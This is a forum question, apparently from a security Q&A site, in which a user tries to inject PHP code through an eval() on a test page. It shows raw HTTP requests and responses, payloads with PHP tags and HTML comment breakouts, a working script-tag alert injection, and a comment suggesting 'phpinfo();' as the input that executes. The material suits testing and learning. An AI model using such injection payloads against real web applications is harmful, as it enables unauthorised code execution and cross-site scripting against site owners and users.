1

I'm trying to bypass a page that has an eval() and it works like this:

POST /anything.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


parameter1=aaa&parameter2=asdfas!-->

<?php echo "<p>1234</p>");

?>

And the result in the response is:

Common, debugging: <!-- print the array method _POST: <pre>Array
(
    [parameter1] => aaa
    [parameter2] => asdfas!-->


<?php echo "<p>11</p>");
?>

)
</pre>-->

The result when I render page is:

Common, debugging: 11
");?>)-->

I have tried many things, such as trying to escape the single and double quotes but I have not been able to get the Bypass. I only get errors when the eval()d' error page is rendered.

For example, if I put in the request:

<?php echo 'a';

The response is:

<br />
<b>Parse error</b>:  syntax error, unexpected 'a' (T_STRING) in <b>/var/www/html/anything.php(10) : eval()'d code</b> on line <b>5</b><br />
 Common, debugging: <!-- print the array method _POST: <pre>Array
(
    [parameter1] => aaa
    [parameter2] => asdfas!-->


<?php echo 'a';

?>

)
</pre>-->

Could someone please point me in the direction of bypass? Thank you very much.

Edited:

From what I've noticed, every time I put a code like this:

<?php echo(1); ?>

I become the page like this:

<!--?php echo(1); ?-->

I have seen in the next part and it works for me to execute an alert in Javascript, but it doesn't work for me to do the Bypass for PHP:

Exploiting PHP via GET params

My request:

POST /anything.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1

parameter1=anything1&parameter2=anything2</pre>."!-->

<!--  --><script>alert('Success');</script><!--  -->

Response:

HTTP/1.1 200 OK
Date: Sun, 10 Jan 2020 23:26:34 GMT
Server: Apache/2.x.x
X-Powered-By: PHP/5.4
Content-Length: 406
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Parse error</b>:  syntax error, unexpected 'Success' (T_STRING) in <b>/var/www/html/anything.php(13) : eval()'d code</b> on line <b>3</b><br />
Common, debugging: <!-- print the array method _POST: <pre>Array
(
    [parameter1] => anything1
    [parameter2] => anything2</pre>."!-->

<!--  --><script>alert('Success');</script><!--  -->

)
</pre>-->

And the alert is successfully executed.

8
  • Hello and welcome. I'm having trouble determining whether your injected content is being executed. Can you include more details about the eval() and exactly what input is passed to it? Jan 12, 2020 at 17:42
  • Actually, I don't know how the eval() is doing from the backend. Which entry would you like me to try?
    – telmuludro
    Jan 12, 2020 at 17:48
  • where does the "11" come from? Also, try without the PHP symbols (<?php), maybe just try the string phpinfo(); Jan 12, 2020 at 20:47
  • Sorry, I editted the question and add the part of "11". Without PHP symbols not works, only show the content in the page, I mean, it renders it as html
    – telmuludro
    Jan 12, 2020 at 23:20
  • don't send anything except the text phpinfo();, and it will work, no tags of any sort needed. You are making it confusing by trying to inject HTML and JavaScript instead of focusing on PHP. Jan 13, 2020 at 3:29

0

You must log in to answer this question.

Browse other questions tagged .